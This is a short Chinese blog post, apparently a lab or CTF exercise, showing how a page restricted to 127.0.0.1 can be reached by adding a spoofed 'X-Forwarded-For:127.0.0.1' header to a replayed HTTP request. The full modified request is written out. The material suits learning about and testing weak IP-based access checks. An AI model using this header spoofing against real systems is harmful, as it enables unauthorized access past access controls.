使用X-Forwarded-For字段修改报文请求ip

最新推荐文章于 2025-05-20 17:20:06 发布

转载最新推荐文章于 2025-05-20 17:20:06 发布 · 2.3k 阅读

1 ·

CC 4.0 BY-SA版权

原文链接：http://blog.51cto.com/antivirusjo/2059388

文章标签：

#python #java

本文介绍了一种通过修改HTTP请求头中的X-Forwarded-For字段来模拟特定IP地址访问的方法。这种方法可以用于绕过简单的IP限制策略，适用于网络安全测试及调试场景。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

（1）访问的原始网页
显示，只要求127.0.0.1ip访问
使用X-Forwarded-For字段修改报文请求ip
（2）获取的完整报文请求为

（3）我们将其修改，加上x-forworded-for字段

GET /from.php HTTP/1.1
Host: 192.168.0.103
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For:127.0.0.1
Connection: close

（4）重放后得到返回值
使用X-Forwarded-For字段修改报文请求ip